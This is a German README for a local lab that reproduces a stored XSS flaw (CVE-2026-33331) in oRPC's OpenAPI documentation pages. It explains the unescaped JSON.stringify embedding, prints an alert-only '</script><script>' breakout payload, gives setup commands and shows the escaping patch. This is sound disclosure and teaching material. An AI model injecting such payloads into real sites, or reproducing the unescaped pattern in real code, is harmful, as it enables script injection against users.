
Lokales Labor zur Reproduktion von gespeichertem XSS in der OpenAPI-Dokumentgenerierung von oRPC (CVE-2026-33331), mit verwundbaren und gepatchten Versionen zum Vergleich sowie einem eigenständigen PoC.
Proof-of-Concept-Labor für Stored XSS in der OpenAPI-Dokumentationsgenerierung von orpc
oRPC erstellt API-Dokumentationsseiten aus einer OpenAPI-Spezifikation. Vor v1.13.9 wurde die Spezifikation direkt in ein <script>-Tag mit JSON.stringify() ohne HTML-Kodierung eingefügt. Jedes vom Angreifer kontrollierte Feld, wie , konnte dieses Tag vorzeitig schließen und Skript ausführen.
info.descriptionDieses Repository bietet Ihnen ein lokales Labor zur Reproduktion des Fehlers sowie eine gepatchte Version zum Vergleich.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-33331 |
| GHSA | GHSA-7f6v-3gx7-27q8 |
| CWE | CWE-79 (Unzureichende Neutralisierung von Eingaben während der Webseitengenerierung) |
| Produkt | middleapi/orpc |
| Betroffen | Alle Versionen unterhalb von v1.13.9 |
| Gepatcht | v1.13.9 |
| Entdeckung | Abhay Kumar (@abhayclasher) |
Der verwundbare Code in packages/openapi/src/plugins/openapi-reference.ts rendert die Spezifikation wie folgt:
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>
JSON.stringify() erzeugt gültiges JSON, escapet jedoch keine < oder >. Der Browser behandelt </script> weiterhin als HTML-Schließtag, selbst innerhalb eines <script type="application/json">.
Eine Payload in info.description, die die Ausführung auslöst:
"</script><script>alert('XSS')</script>"
Der Browser sieht:
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>
Das erste </script> schließt den Block. Alles danach wird als Inline-JavaScript ausgeführt.
Dies gilt, wenn eine Anwendung OpenAPI-Spezifikationen aus benutzergesteuerten Eingaben erstellt, was genau der Fall ist, den oRPC über seine Router-Definitionen ermöglicht.
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d
Nachdem der Server gestartet ist, besuchen Sie diese URLs:
| URL | Beschreibung |
|---|---|
http://localhost:3000/docs | Verwundbare Dokumentationsseite — XSS-Payload wird beim Laden ausgeführt |
http://localhost:3000/docs/safe | Dieselbe Seite mit dem v1.13.9-Patch |
http://localhost:3000/spec.json | Rohe OpenAPI-Spezifikation als JSON |
Die verwundbare Version löst beim Laden der Seite ein alert() aus, was die Skriptausführung bestätigt. Die gepatchte Version rendert dieselbe bösartige Spezifikation sicher — die Payload wird als Klartext angezeigt.
Sie können auch das eigenständige PoC ausführen:
cd poc
node exploit.js
Dies startet einen minimalen Server auf Port 3000, der denselben Fehler ohne den vollständigen Anwendungskontext demonstriert.
1. Angreifer kontrolliert ein Feld in der OpenAPI-Spezifikation (z. B. description)
2. oRPC generiert das Dokumentations-HTML mit JSON.stringify(spec)
3. Das </script> in der Payload schließt das <script>-Tag vorzeitig
4. Der Browser führt alles Folgende als Inline-JavaScript aus
┌─────────────────────────────────────────────────────┐
│ 1. Bösartige Spezifikation erstellt: │
│ │
│ info.description = │
│ "</script><script>alert('XSS')</script>" │
│ │
│ 2. orpc bettet Spezifikation in HTML ein: │
│ │
│ <script id="spec" type="application/json"> │
│ {"info":{"description":"</script> <-- Tag │
│ <script>alert('XSS')</script> <-- Payload │
│ "}} │
│ </script> │
│ │
│ 3. Browser führt alert('XSS') aus │
└─────────────────────────────────────────────────────┘
Version 1.13.9 führt escapeJsonForHtml() ein, das HTML-empfindliche Zeichen durch Unicode-Escapes ersetzt, bevor JSON in das Skript-Tag eingebettet wird:
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
.replace(/&/g, '\\u0026')
.replace(/'/g, '\\u0027')
.replace(/</g, '\\u003C')
.replace(/>/g, '\\u003E')
.replace(/\//g, '\\u002F');
Unicode-Escapes funktionieren, weil sie gültiges JSON bleiben — JSON.parse() rekonstruiert die ursprüngliche Zeichenfolge — aber sie sehen für den HTML-Parser des Browsers nie wie HTML aus.
Der Patch änderte auch das Lesen von JSON aus einem DOM-dataset.config-Attribut (das brach, wenn Werte Klammern enthielten) hin zur direkten Zuweisung des escapeten JSON an eine Inline-Variable.
Vollständigen Commit ansehen: 4f0efa8
CVE-2026-33331/
├── README.md # Diese Datei
├── docker-compose.yml # Docker-Labor-Konfiguration
├── app/
│ ├── Dockerfile # Container-Build-Konfiguration
│ ├── package.json # Node.js-Abhängigkeiten
│ └── server.js # Verwundbarer + gepatchter Dokumentations-Renderer
└── poc/
└── exploit.js # Eigenständiges minimales Proof-of-Concept
Gemeldet von Abhay Kumar. Dieses Repository ist nur für lokale Bildungszwecke gedacht. Stellen Sie den verwundbaren Server nicht in einem öffentlichen Netzwerk bereit.
Nur für Bildungszwecke — nur in isolierten Umgebungen verwenden